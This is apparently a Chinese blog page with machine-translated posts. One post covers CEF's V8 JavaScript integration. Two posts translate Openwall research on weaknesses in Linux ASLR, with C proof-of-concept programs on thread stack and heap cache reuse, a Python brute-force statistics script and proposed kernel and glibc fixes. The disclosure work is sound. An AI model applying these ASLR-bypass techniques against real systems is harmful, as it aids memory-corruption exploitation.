V8 wiki



描述
V8是Google的开源JavaScript引擎。
V8是用C++编写的,在谷歌的开源浏览器Google Chrome中使用。
V8实现ECMA-262第5版中指定的ECMASScript,并运行在Windows(XP或更新版本)、Mac OS X(10.5或更新版本)和使用IA-32、x64或ARM处理器的Linux系统上。

编译:https://www.aldeid.com/wiki/V8

————————-

在其他工程中使用V8:https://bitbucket.org/chromiumembedded/cef/wiki/JavaScriptIntegration
(下为机器翻译+简单人工润色)

导言
Chrome和CEF使用V8 JavaScript引擎实现内部JavaScript(JS)。浏览器中的每个框架都有自己的JS上下文,为在该框架中执行的JS代码提供范围和安全性(有关更多信息,请参见“使用上下文”一节)。CEF为客户端应用程序中的集成提供了大量的JS特性。
对于CEF 3,Blink(WebKit)和JS执行在单独的呈现程序进程中运行。呈现程序进程中的主线程被标识为TID_renderer,所有V8执行都必须在该线程上执行。与JS执行相关的回调通过CefRenderProcessHandler接口公开。当初始化新的呈现程序进程时,通过CefApp::GetRenderProcessHandler()检索该接口。

应该使用异步回调来设计在浏览器和呈现程序进程之间进行通信的JSAPI。有关更多信息,请参见GeneralUsagewiki页面的“异步JavaScript绑定”部分。

执行JavaScript
从客户机应用程序执行JS的最简单方法是使用CefFrame::ExecuteJavaScript()函数。
该函数在浏览器进程和render程序进程中都可用,并且可以在JS上下文之外安全地使用。

CefRefPtr<CefBrowser> browser = ...;
CefRefPtr<CefFrame> frame = browser->GetMainFrame();
frame->ExecuteJavaScript("alert('ExecuteJavaScript works!');",
    frame->GetURL(), 0);

上面的示例将执行alert(‘ExecuteJavaScriptWorks!’);在浏览器的主框架中执行。
可以使用ExecuteJavaScript()函数与框架的JS上下文中的函数和变量进行交互。
为了将值从JS返回到客户机应用程序,请考虑使用窗口绑定或扩展。

窗口绑定。
窗口绑定允许客户端应用程序将值附加到框架的窗口对象。
窗口绑定使用CefRenderProcessHandler::OnContextCreated()方法实现。

void MyRenderProcessHandler::OnContextCreated(
    CefRefPtr<CefBrowser> browser,
    CefRefPtr<CefFrame> frame,
    CefRefPtr<CefV8Context> context) {
  // Retrieve the context's window object.
  CefRefPtr<CefV8Value> object = context->GetGlobal();

  // Create a new V8 string value. See the "Basic JS Types" section below.
  CefRefPtr<CefV8Value> str = CefV8Value::CreateString("My Value!");

  // Add the string to the window object as "window.myval". See the "JS Objects" section below.
  object->SetValue("myval", str, V8_PROPERTY_ATTRIBUTE_NONE);
}

然后,框架中的JavaScript可以与窗口绑定交互。

<script language="JavaScript">
alert(window.myval); // Shows an alert box with "My Value!"
</script>

每次重新加载框架时,都会重新加载窗口绑定,从而使客户端应用程序有机会在必要时更改绑定。
例如,可以通过修改绑定到该帧的窗口对象的值,让不同的帧访问客户端应用程序中的不同功能。

扩展
扩展类似于窗口绑定,只是它们被加载到每个帧的上下文中,并且一旦加载就不能修改。
当加载扩展时,DOM不存在,并且在扩展加载期间试图访问DOM将导致崩溃。
扩展是使用应当从CefRenderProcessHandler::OnWebKitInitialized()方法调用的CefRegisterExtension()函数注册的。

void MyRenderProcessHandler::OnWebKitInitialized() {
  // Define the extension contents.
  std::string extensionCode =
    "var test;"
    "if (!test)"
    "  test = {};"
    "(function() {"
    "  test.myval = 'My Value!';"
    "})();";

  // Register the extension.
  CefRegisterExtension("v8/test", extensionCode, NULL);
}

ExtensionCode表示的字符串可以是任何有效的JS代码。
然后,框架中的JS可以与扩展代码交互。

<script language="JavaScript">
alert(test.myval); // Shows an alert box with "My Value!"
</script>

基本JS类型。
CEF支持创建基本的JS数据类型,包括未定义的、NULL、bool、int、Double、Date和String。
这些类型是使用CefV8Value::Create*()静态方法创建的。
例如,要创建一个新的JS字符串值,可以使用CreateString()方法。

CefRefPtr<CefV8Value> str = CefV8Value::CreateString("My Value!");

基本值类型可以随时创建,并且最初不与特定上下文关联(有关更多信息,请参见“使用上下文”一节)。
要测试值类型,请使用is*()方法。

CefRefPtr<CefV8Value> val = ...;
if (val.IsString()) {
  // The value is a string.
}

要检索该值,请使用get*value()方法。

CefString strVal = val.GetStringValue();
Sunday, July 15, 2018 by blast

New bypass and protection techniques for ASLR on Linux (2)



机器翻译加简单人工润色,翻译自:http://www.openwall.com/lists/oss-security/2018/02/27/5

相关讨论:https://lkml.org/lkml/2018/3/22/484

==========================================
II.8. 已分配内存缓存。
==========================================

glibc有许多不同的缓存,其中两个缓存在ASLR的上下文中很有趣:新创建线程的栈的缓存和栈。栈缓存的工作方式如下:在线程终止时,不会释放栈内存,而是将其传输到相应的缓存中。创建线程栈时,glibc首先检查缓存。如果缓存包含所需的内容,glibc使用该区域。在这种情况下,mmap将不会被访问,新线程将使用具有相同地址的以前使用的区域。如果攻击者成功地获得了线程堆栈地址,并且能够控制程序线程的创建和删除,则入侵者可以利用该地址的知识进行漏洞攻击。此外,如果应用程序包含未初始化的变量,它们的值也可能受攻击者的控制,这在某些情况下可能会导致攻击。

堆缓存的工作方式如下:在线程终止时,其堆移动到相应的缓存。当为新线程再次创建堆时,首先检查缓存。如果缓存具有可用区域,则将使用此区域。在本例中,上一段中有关堆栈的所有内容在这里也适用。

Here is PoC:

void * func(void *x)
{
long a[1024];
printf(”addr: %pn”, &a[0]);
if (x)
printf(”value %lxn”, a[0]);
else
{
a[0] = 0xdeadbeef;
printf(”value %lxn”, a[0]);
}
void * addr = malloc(32);
printf(”malloced %pn”, addr);
free(addr);
return 0;
}

int main(int argc, char **argv, char **envp)
{
int val;
pthread_t thread;
printf(”thread1n”);
pthread_create(&thread, NULL, func, 0);
pthread_join(thread, &val);
printf(”thread2n”);
pthread_create(&thread, NULL, func, 1);
pthread_join(thread, &val);
return 0;
}

blackzert@…sher:~/aslur/tests$ ./pthread_cache
thread1
addr: 0×7fd035e04f40
value deadbeef
malloced (b) 0×7fd030000cd0
thread2
addr: 0×7fd035e04f40
value deadbeef
malloced 0×7fd030000cd0

可以清楚地看到,连续创建的线程堆栈中局部变量的地址保持不变。同样,通过malloc为它们分配的变量的地址也是一样的;第二个线程仍然可以访问第一个线程的本地变量的一些值。攻击者可以利用此漏洞攻击未初始化变量的漏洞[18]。尽管缓存加快了应用程序的速度,但它也使攻击者能够绕过ASLR并执行攻击。

==========================================
II.9.线程缓存对齐。
==========================================

现在让我们创建一个线程,使用malloc分配一些内存,并计算与这个线程中的局部变量的差值。源代码:

void * first(void *x)
{
int a = (int)x;
int *p_a = &a;
void *ptr;
ptr = malloc(8);
printf(”%lxn%p, %pn”, (unsigned long long)ptr - (unsigned long long)p_a,
ptr, p_a);
return 0;
}

int main()
{
pthread_t one;
pthread_create(&one, NULL, &first, 0);
void *val;
pthread_join(one,&val);
return 0;
}

The first launch:

blackzert@…sher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff844e98c
0×7f20480008c0, 0×7f204fbb1f34

And the second launch:

blackzert@…sher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff94a598c
0×7fa3140008c0, 0×7fa31ab5af34

在这种情况下,差别是不一样的。每次执行它也不会保持不变。让我们考虑一下原因。

首先要注意的是:malloc派生的指针地址与进程堆地址不对应。

glibc为使用pthread_create创建的每个新线程创建一个新堆。指向此堆的指针位于TLS中,因此任何线程都会从自己的堆中分配内存,这会提高性能,因为在并发使用malloc时不需要同步线程。但为什么地址是“随机的”呢?

分配新堆时,glibc使用mmap;大小取决于配置。在这种情况下,堆大小是64 MB。堆起始地址必须与64 MB对齐。因此,系统首先分配128 MB,然后在此范围内对齐64 MB的块,同时释放未对齐的块,并在堆地址和先前分配mmap的最近区域之间创建一个“hole”。
当选择mmap_based时,内核本身带来了随机性:这个地址没有与64 MB对齐,在调用有关malloc之前的mmap内存分配也是如此。
不管为什么需要地址对齐,这都会导致一个非常有趣的效果:可以暴力破解。

Linux内核将x86-64的进程地址空间定义为“48 bit - 1 protect page”,为了简单起见,我们将其舍入到2^48(在计算大小时省略减1页)。64 MB是2^26,所以有效位等于48-26=22,总共给我们提供了2^22个不同的次线程堆。

这大大缩小了强制范围。

因为mmap地址是以一种已知的方式选择的,所以我们可以假定,使用pthread_create创建的第一个线程的堆将被选择为64 MB,接近上地址范围。更准确地说,它将接近所有加载的库、加载的文件等等。
在某些情况下,可以计算在调用有关malloc之前分配的内存量。在本例中,我们只加载了glibc和ld,并为线程创建了一个栈。所以这个值很小。

mmap_base是根据编译时的内核设置(默认为28位)选择的,熵为28到32位。所以一些上边界被相同的数量所抵消。
因此,在许多情况下,地址的上8位将等于0×7f,而在少数情况下,它们将是0×7e。这给了我们另外8 bit的确定性。为第一个线程选择堆总共有2^14种可能的选项。
创建的线程越多,用于下一个堆选择的值就越少。

让我们用以下C代码演示此行为:

void * first(void *x)
{
    int a = (int)x;
    void *ptr;
    ptr = malloc(8);
    printf("%pn", ptr );
    return 0;
}

int main()
{
    pthread_t one;
    pthread_create(&one, NULL, &first, 0);
    void *val;
    pthread_join(one,&val);
    return 0;
}

然后,让我们用Python代码启动足够多的程序来收集地址统计信息:

import subprocess
d = {}
def dump(iteration, hysto):
    print 'Iteration %d len %d'%(iteration, len(hysto))
    for key in sorted(hysto):
        print hex(key), hysto[key]
i = 0
while i < 1000000:
    out = subprocess.check_output(['./t'])
    addr = int(out, 16)
    #omit page size
    addr >>= 12
    if addr in d:
        d[addr] += 1
    else:
        d[addr] = 1
    i += 1
dump(i,d)

此代码启动简单的“./t”程序,该程序创建一个新线程足够多次。
代码借助malloc分配缓冲区并显示缓冲区地址。一旦程序完成此操作,将读取地址并计算在程序操作期间遇到地址的次数。该脚本总共收集了16,385个不同的地址,等于2^14+1。在最坏的情况下,这是攻击者可以尝试猜测所述程序的堆地址的次数。

=========================================
iii. 解决方案
=========================================

在本文中,我们回顾了几个问题-其中一些涉及到Linux内核,一些涉及到GNU Libc;现在我们可以考虑对Linux内核进行修复。
您可以通过以下链接跟踪GNU Libc问题:

- Stack protector easy to bypass
https://sourceware.org/bugzilla/show_bug.cgi?id=22850
- ld library ELF load error
https://sourceware.org/bugzilla/show_bug.cgi?id=22851
- Thread stack and heap caches
https://sourceware.org/bugzilla/show_bug.cgi?id=22852
- Heap address of pthread_create thread is aligned
https://sourceware.org/bugzilla/show_bug.cgi?id=22853

=========================================
iii.1 holes
=========================================

如第II.4节所示,Linux内核中的ELF解释器加载程序包含一个错误,并允许释放部分解释器库内存。
社区提出了一项相关的解决办法,但没有采取行动:
https://lkml.org/lkml/2017/7/14/290

=========================================
III.2加载ELF文件段的顺序。
=========================================

如上所述,在内核和glibc库的代码中,没有检查文件ELF段:代码只是相信它们的顺序是正确的。随函附上概念证明代码和修复程序:
https://github.com/blackzert/aslur

修复非常简单:我们遍历各个段并确保当前段与下一个段重叠,并且这些段按vaddr的升序排序。

https://lkml.org/lkml/2018/2/26/571

=========================================
iii.3在搜索mmap分配地址时使用mmap_min_addr。
=========================================

一旦为mmap编写了修复程序,为了以足够的熵返回地址,就会出现一个问题:一些mmap调用失败,导致访问权限错误。在执行execve时,即使是作为根用户或内核请求时也会发生这种情况。

在地址选择算法(前面介绍)中,列出的选项之一是检查地址是否有安全限制。在当前实现中,此检查验证所选地址是否大于mmap_min_addr。这是一个系统变量,管理员可以通过sysctl对其进行更改。系统管理员可以设置任何值,并且。
进程不能以小于此值的地址分配页。默认值是65536。

问题是,当在x86-64上调用mmap的地址函数时,Linux内核使用4096作为最小下限的值,这个值小于mmap_min_addr的值。如果所选地址介于4096和mmap_min_addr之间,函数capmmap_addr禁止此操作。

capmmap_addr被隐式调用;这个函数被注册为一个用于安全检查的钩子。这种体系结构解决方案提出了一些问题:首先,我们在没有能力用外部标准测试地址的情况下选择地址,然后根据当前的系统参数检查它的允许性。如果该地址没有通过检查,那么即使该地址是由内核选择的,也会被“禁止”,整个操作将以EPERM错误结束。

攻击者可以利用此问题在整个系统中造成拒绝服务:
如果攻击者能够指定一个非常大的值,系统就无法启动任何用户进程。此外,如果攻击者设法将该值存储在系统参数中,则即使重新引导也不会有任何帮助-所有创建的进程都将因EPERM错误而终止。

目前,修复方法是在向地址搜索函数发出请求时使用mmap_min_addr值作为允许的最低地址。这样的代码已经用于所有其他体系结构。
如果系统管理员开始在运行中的计算机上更改此值,会发生什么情况?这个问题仍然没有得到回答,因为更改之后的所有新分配都可能以EPERM错误结束;没有程序代码希望出现这样的错误,也不知道如何处理它。mmap文档说明如下:

“EPERM的处理函数阻止了这项操作;见fcntl(2)。”

也就是说,内核不能将EPERM返回到MAP_ANONYMOUS,尽管事实上并非如此。

https://lkml.org/lkml/2018/2/26/1053

=========================================
iii.4 mmap
=========================================

这里讨论的主要mmap问题是地址选择中缺少熵。
理想情况下,逻辑上的解决办法是随机选择内存。要随机选择它,必须首先建立一个具有适当大小的所有自由区域的列表,然后从该列表中选择满足搜索标准(请求区域的长度和允许的上下边界)的随机区域和该区域的地址。

为了实现这一逻辑,可以采用以下方法:

1.将空隙列表保存在降序数组中。在这种情况下,随机元素的选择是在单个操作中进行的,但是维护这个数组需要很多操作,以便在进程的当前虚拟地址空间映射发生变化时释放(分配)内存。
2.将空隙列表保存在树和列表中,以便找到满足长度要求的外部边界,并从数组中选择一个随机元素。如果该元素不符合最小/最大地址限制,则选择下一个,依此类推,直到找到一个(或不保留)。这种方法涉及复杂的列表和树结构,类似于VMA在地址空间更改方面已经存在的结构。
3.使用增广红黑VMA树的现有结构来绕过允许的空隙列表,并选择一个随机地址。在最坏的情况下,每个选择都必须绕过所有的峰值,但是重建树不会导致性能的任何额外的下降。

我们的选择走到了最后一条路。我们可以使用现有的VMA。
不添加冗余的组织结构,并使用以下算法选择地址:
1.使用现有算法查找具有最大有效地址的可能空白。同时,记录下VMA的结构。如果没有这样的结构,返回ENOMEM。
2.将发现的间隙记录为结果,将VMA记录为最大上边界。
3.从双链接列表中获取第一个VMA结构。它将是红-黑树上的一片叶子,因为它有最小的地址.。
4.从选定的VMA中对树进行左遍历,检查有关VMA与其前身之间的空闲区域的允许性。如果自由区域被限制所允许,则获得另一位熵。如果熵位为1,则重新定义空隙的当前值。
5.从选定的间隙空区返回随机地址。

优化算法的第四步的一种方法是不进入间隙扩展大小小于所需长度的子树。

此算法选择一个具有足够熵的地址,尽管它比当前的实现要慢。

至于明显的缺点,有必要绕过所有具有足够空隙长度的VMA结构。但是,在更改地址空间时,不会出现任何性能下降,从而抵消了这一点。

下面是修补程序之后的`less /proc/self/maps‘的输出:

314a2d0da000-314a2d101000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so
314a2d301000-314a2d302000 r–p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d302000-314a2d303000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d303000-314a2d304000 rw-p

3169afcd8000-3169afcdb000 rw-p

316a94aa1000-316a94ac6000 r-xp /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94ac6000-316a94cc5000 —p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc5000-316a94cc9000 r–p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc9000-316a94cca000 rw-p /lib/x86_64-linux-gnu/libtinfo.so.5.9

3204e362d000-3204e3630000 rw-p

4477fff2c000-447800102000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so
447800102000-447800302000 —p /lib/x86_64-linux-gnu/libc-2.26.so
447800302000-447800306000 r–p /lib/x86_64-linux-gnu/libc-2.26.so
447800306000-447800308000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so
447800308000-44780030c000 rw-p

509000396000-509000d60000 r–p /usr/lib/locale/locale-archive

56011c1b1000-56011c1d7000 r-xp /bin/less
56011c3d6000-56011c3d7000 r–p /bin/less
56011c3d7000-56011c3db000 rw-p /bin/less
56011c3db000-56011c3df000 rw-p

56011e0d8000-56011e0f9000 rw-p [heap]

7fff6b4a4000-7fff6b4c5000 rw-p [stack]
7fff6b53b000-7fff6b53e000 r–p [vvar]
7fff6b53e000-7fff6b540000 r-xp [vdso]
ffffffffff600000-ffffffffff601000 r-xp [vsyscall]

https://lkml.org/lkml/2018/2/27/267

========================================================================
IV. Related Work
========================================================================

The problem with current mmap behavior was also found by other researches:

Hector Marco-Gisbert, Ismael Ripoll-Ripoll. ASLR-NG: ASLR Next Generation. 2016
https://cybersecurity.upv.es/solutions/aslr-ng/ASLRNG-BH-white-paper.pdf

Julian Kirsch, Bruno Bierbaumer, Thomas Kittel and Claudia Eckert Dynamic
Loader Oriented Programming on Linux. 2017
https://github.com/kirschju/wiedergaenger/blob/master/kirsch-roots-2017-paper.pdf

========================================================================
V. References
========================================================================

1. https://lkml.org/lkml/2012/11/5/673
2. https://cwe.mitre.org/data/definitions/119.html
3. https://cwe.mitre.org/data/definitions/190.html
4. https://cwe.mitre.org/data/definitions/120.html
5. https://cwe.mitre.org/data/definitions/704.html
6. https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html
7. https://www.cvedetails.com/cve/CVE-2014-9427/
8. https://source.android.com/security/enhancements/enhancements70
9. https://android-review.googlesource.com/c/platform/bionic/+/178130/2
10. http://gcc.gnu.org/onlinedocs/gcc-3.3/gcc/Thread-Local.html
11. http://www.phrack.org/issues/49/14.html#article
12.
http://www.blackhat.com/presentations/bh-europe-09/Fritsch/Blackhat-Europe-2009-Fritsch-Buffer-Overflows-Linux-whitepaper.pdf
13. https://crypto.stanford.edu/cs155old/cs155-spring05/litch.pdf
14.
https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine-wp.pdf
15. https://cwe.mitre.org/data/definitions/416.html
16. http://www.skyfree.org/linux/references/ELF_Format.pdf
17. https://lwn.net/Articles/741335/
18. https://cwe.mitre.org/data/definitions/457.html
19. http://blog.ptsecurity.com/2018/02/new-bypass-and-protection-techniques.html

All sources and patches could be found at https://github.com/blackzert/aslur
repo.

Sunday, July 1, 2018 by blast

New bypass and protection techniques for ASLR on Linux (1)



http://www.openwall.com/lists/oss-security/2018/02/27/5

本文由机器翻译加简单人工润色得到.

========================================================================
Contents
========================================================================

I. Introduction
II. Problems with current implementation
II.1. Close proximity of memory location
II.2. Fixed method of loading libraries
II.3. Fixed order of execution
II.4. Holes
II.5. TLS and thread stack
II.6. malloc and mmap
II.7. MAP_FIXED and loading of ET_DYN ELF files
II.8. Cache of allocated memory
II.9. thread cache alignment
III. Solutions
III.1 Holes
III.2 Order of loading ELF file segments
III.3 Use of mmap_min_addr when searching for mmap allocation addresses
III.4 mmap
IV. Related Work
V. References

========================================================================
I. 介绍
========================================================================

开始前,版本信息:
$ uname -a
Linux blackzert-virtual-machine 4.13.0-36-generic #40-Ubuntu SMP Fri Feb 16
20:07:48 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ ldd –version
ldd (Ubuntu GLIBC 2.26-0ubuntu2.1) 2.26

今天说的这些东西对 Kernel - 4.16-rc3, GNU Libc 2.27 也一样有效

通过这个步骤开始我们的研究:
$ less /proc/self/maps

5607a1ae5000-5607a1b0b000 r-xp 00000000 08:01 1966152 /bin/less
5607a1d0a000-5607a1d0b000 r–p 00025000 08:01 1966152 /bin/less
5607a1d0b000-5607a1d0f000 rw-p 00026000 08:01 1966152 /bin/less
5607a1d0f000-5607a1d13000 rw-p 00000000 00:00 0
5607a3bf8000-5607a3c19000 rw-p 00000000 00:00 0 [heap]
7f4d147e7000-7f4d14bf4000 r–p 00000000 08:01 3016021 /usr/lib/locale/locale-archive
7f4d14bf4000-7f4d14dca000 r-xp 00000000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14dca000-7f4d14fca000 —p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fca000-7f4d14fce000 r–p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fce000-7f4d14fd0000 rw-p 001da000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fd0000-7f4d14fd4000 rw-p 00000000 00:00 0
7f4d14fd4000-7f4d14ff9000 r-xp 00000000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d14ff9000-7f4d151f8000 —p 00025000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151f8000-7f4d151fc000 r–p 00024000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151fc000-7f4d151fd000 rw-p 00028000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151fd000-7f4d15224000 r-xp 00000000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d1540b000-7f4d15410000 rw-p 00000000 00:00 0
7f4d15424000-7f4d15425000 r–p 00027000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d15425000-7f4d15426000 rw-p 00028000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d15426000-7f4d15427000 rw-p 00000000 00:00 0
7ffdeb3ec000-7ffdeb40d000 rw-p 00000000 00:00 0 [stack]
7ffdeb41e000-7ffdeb421000 r–p 00000000 00:00 0 [vvar]
7ffdeb421000-7ffdeb423000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

- 程序的起始地址是5607a1ae5000.
- 堆的起始地址是5607a3bf8000, 作为二进制应用程序结尾的地址加上一个随机值,在本例中,它等于0×1ee5000 (5607a3bf8000-5607a1d13000).
因为是x86-64架构,所以这个地址按2^12对齐了。

- 地址 7f4d15427000 被选为 mmap_base. 当通过mmap系统调用为任何内存分配选择随机地址时,该地址将作为上边界。
- 库 ld-2.26.so, libtinfo.so.5.9, and libc-2.26.so 被顺序定位。

如果将减法应用于相邻的内存区域,我们将注意到以下几点:二进制文件、堆栈、最低本地存档地址和最高ld地址之间有很大的差别。
加载的库(文件)之间没有任何空闲页面。无论我们重复这个过程几次,文件也都实际上将保持不变:页面之间的差异将有所不同,而库和文件在相对于其他页面的位置上保持相同。
这一事实对我们的分析至关重要。

当前的mmap实现是造成这种行为的原因。逻辑位于在do_mmap内核函数中,该函数实现内存在用户态(mmap syscall)和内核(在执行execve时)的分配。
在第一阶段,选择一个可用地址(get_unmapped_area);在第二阶段,将页面映射到该地址(mmap_region)。
我们将从第一阶段开始。

在选择地址时,可以使用以下选项:
1.如果设置MAP_FIXED 标志,系统将返回addr参数的值作为地址。
2.如果addr参数值不是零,则使用此值作为hint,在某些情况下,将直接选择此值。
3.只要可用区域的最大地址长度合适并且位于可选择地址的允许范围内,将选择它作为地址。
4.检查地址是否存在与安全相关的限制。
如果所有操作都成功,则将分配所选地址的内存区域。

地址选择算法的细节
进程虚拟内存管理器的基础结构是vm_area_struct(简称vma):

  struct vm_area_struct {
      unsigned long vm_start; /* Our start address within vm_mm. */
      unsigned long vm_end; /* The first byte after our end address
  within vm_mm. */
      ...
      /* linked list of VM areas per task, sorted by address */
      struct vm_area_struct *vm_next, *vm_prev;

      struct rb_node vm_rb;
      ...
      pgprot_t vm_page_prot; /* Access permissions of this VMA. */
      ...
  };

此结构描述虚拟内存区域的开始、区域结束和区域内页的访问标志。VMA按升序排列在双链接的区域起始地址列表中,也按升序排列在区域起始地址的增广红-黑树中。
内核开发人员自己给出了这个解决方案的一个很好的基本原理[1]。

红-黑树增强是特定节点的可用内存量。
节点可用内存量定义为:
-在升序双链接列表中,当前vma的开始与前面vma的结束之间的内存空间的差值。
-左子树的可用内存量。
-右手子树的可用内存量。

这种结构使快速搜索(在O(log n)时间内)可以对应于某个地址的VMA或选择某一长度的可用范围。
在地址选择过程中,还确定了两个重要的边界:最小下边界和最大上边界。

下边界由体系结构确定为最小允许地址或系统管理员允许的最小值。上边界即mmap_base,这个值被选择为基于栈的随机值。这里“栈”是指最大栈地址,而“随机”是一个随机值,熵为28到32位,这取决于相关的内核参数。
Linux内核不能选择高于mmap_base的地址。在地址进程的地址空间中,大型mmap_base值要么对应于堆栈和特殊系统区域(vvar和vdso),要么显式地标记为MMAP_FIXED标志,否则将永远不会使用。

因此,在整个方案中,下列值仍然未知:
-主线程栈的起始地址
-加载应用程序二进制文件的Base Address
-应用程序堆的起始地址以及mmap_base,它是使用mmap分配内存的起始地址。

=====================================================
ii.当前实施中的问题。
=====================================================
刚才描述的内存分配算法有一些缺点。
=====================================================
ii.1.接近内存位置。
=====================================================
应用程序使用虚拟RAM。应用程序对内存的常用用法包括加载模块、线程堆栈和加载文件的堆、代码和数据(.rodata,.bss)。
在处理这些页面中的数据时,任何错误都可能影响到附近的数据。当更多具有不同类型内容的页面位于近距离时,攻击区域会变得更大,成功利用的可能性也会增加。
此类错误的例子包括越界[2]、溢出(整数[3]或缓冲区[4])和类型混淆[5]。

这个问题的一个具体实例是,系统仍然容易受到offset2lib攻击,如[6]所述。
简而言之,程序加载的Base Address和库的加载地址都是连在一起的,但是内核却选择它作为了mmap_base。

如果应用程序包含漏洞,则更容易利用它们,因为库映像靠近二进制应用程序映像。
演示此问题的一个很好的示例是[7]中的PHP漏洞,该漏洞允许读取或更改相邻的内存区域。

=====================================================
ii.2. 加载库的固定方法。
=====================================================

在Linux中,动态库实际上是在不调用Linux内核的情况下加载的。LD库(来自GNU Libc)负责这个过程。内核参与的唯一方式是通过mmap函数(我们还不考虑open/stat和其他文件操作):这是将代码和库数据加载到进程地址空间所必需的。一个例外是ld库本身,它通常作为文件加载的解释器写入可执行ELF文件中。至于解释器,它是由内核加载的。

如果使用GNU Libc中的ld作为解释器,则库的加载方式与以下类似:

1.将程序ELF文件添加到文件队列中进行处理。
2.从队列(FIFO)中取出第一个ELF文件。
3.如果该文件尚未加载到进程地址空间,则在mmap的帮助下加载该文件。
4.该文件所需的每个库都被添加到文件队列中进行处理。
5.只要队列不是空的,就重复步骤2。

此算法意味着加载顺序总是确定的,如果所有需要的库(其二进制文件)都是已知的,则可以重复加载。如果知道任何单个库的地址,则允许恢复所有库的地址:

1.假设libc库的地址是已知的。
2.将libc库的长度添加到libc加载地址-这是在libc之前加载的库的加载地址。
3.以同样的方式继续,我们获得在libc之前加载的库的mmap_base值和地址。
4.从libc地址减去libc之后加载的库的长度。这是libc之后加载的库的地址。
5.以同样的方式迭代,我们获得在程序开始时加载的所有库的地址。

如果在程序运行时加载了库(例如,通过dlopen函数),在某些情况下,攻击者可能不知道它相对于其他库的位置。例如,如果存在攻击者不知道分配的内存区域大小的mmap调用,则可能发生这种情况。

在利用漏洞时,对库地址的了解非常有帮助:例如,在搜索用于构建ROP链的gadget时。此外,如果任何库包含允许相对于库地址进行读取或写入值的漏洞,则此类漏洞很容易被利用,因为库是连续的。

大多数Linux发行版都包含具有最广泛库(例如libc)的编译包。这意味着库的长度是已知的,在这种情况下,相当于就知道了进程的虚拟地址空间分布的部分细节。

理论上,可以为此建立一个大型数据库。对于Ubuntu,它将包含库的版本,包括ld、libc、libp线程和libm;对于每个版本的库,可以分析它所需的多个版本的库(依赖关系)。因此,通过了解一个库的地址,就可以知道描述部分进程地址空间分布的可能映射版本。

这类数据库的例子有libcdb.com和libc.blukat.me,它们用于根据已知函数的偏移量来标识libc版本。

这意味着加载库的固定方法是应用程序的安全问题。上一节描述的mmap的行为使问题复杂化。在Android中,这个问题在版本7和更高版本[8][9]中得到了解决。

=====================================================
ii.3.固定执行顺序
=====================================================

程序有一个有趣的属性:在执行线程中有一对特定的点,在这对点之间程序状态是可预测的。例如,一旦客户端连接到网络服务,服务就会向客户端分配一些资源。这些资源的一部分可以从应用程序堆中分配。在这种情况下,对象在堆中的相对位置通常是可预见的。

通过“生成”攻击者所需的程序状态,此属性对于利用应用程序非常有用。在这里,我们称这种状态为固定的执行顺序。

在此属性的某些情况下,执行线程中有某个不动点。此时,从执行开始,从启动到启动,除了一些变量之外,程序状态保持不变。例如,在执行主函数之前,ld解释器必须加载和初始化所有库,然后初始化程序。如第4.2节所述,库的相对位置差将永远相同。在执行主函数期间,差异将包括用于程序加载、库、堆栈、堆和分配在内存中的对象的特定地址。这些差异是由于第6节所述的随机化造成的。

因此,攻击者可以获得关于程序数据相对位置的信息。此位置不受进程地址空间随机化的影响。

在这个阶段,唯一可能的熵来源是线程之间的竞争:如果程序创建了几个线程,它们在处理数据时的竞争可能会将熵引入对象的位置。在本例中,通过程序全局构造函数或所需库的帮助,可以在执行主函数之前创建线程。

当程序开始使用堆并从堆中分配内存时(通常是在new/malloc的帮助下),在每次启动之前,堆中对象的相互位置将保持不变。

在某些情况下,线程和堆栈的位置相对于库地址也是可预测的。

如果需要,可以获得这些偏移量以用于开发。一种方法是简单地为这个应用程序执行“strace -e mmap”两次,并比较地址的差异。

=====================================================
ii.4. Holes
=====================================================

如果应用程序使用mmap分配内存,然后释放该内存的一部分,则会导致被占用区域包围的hole。如果此空闲内存(hole)再次分配给易受攻击的对象(应用程序在其处理过程中有漏洞的对象),则可能会出现问题。这就使我们回到了内存中对象位置挨得太紧的问题。

Linux内核的ELF文件加载代码中找到了这样一个Hole的说明性示例:加载ELF文件时,内核首先读取文件的大小,并尝试通过do_mmap将其完全映射。一旦文件被完全加载,第一个段之后的内存将被释放。之后的所有段都加载在相对于第一个段设置的固定地址(MAP_FIXED)处。
当然,肯定是要这么做的,因为如果你想把整个文件加载到选定的地址,并根据ELF文件中的描述按权限、偏移量给各个段分配内存,就只能这么做。
但问题在于,如果ELF文件段的描述就不是连续的,这么分配的话就会导致内存中段不连续,也就是出现了hole。

但对于ld解释器(glibc)来说,在加载ELF文件期间将不调用Unmap,而是将空闲页面(hole)的权限更改为PROT_NONE,这将禁止进程访问这些页面。这种方法更安全。

要显示该问题的影响,请从以下命令开始:
$ strace -e mmap,munmap,open,openat,arch_prctl -f cat /proc/self/maps

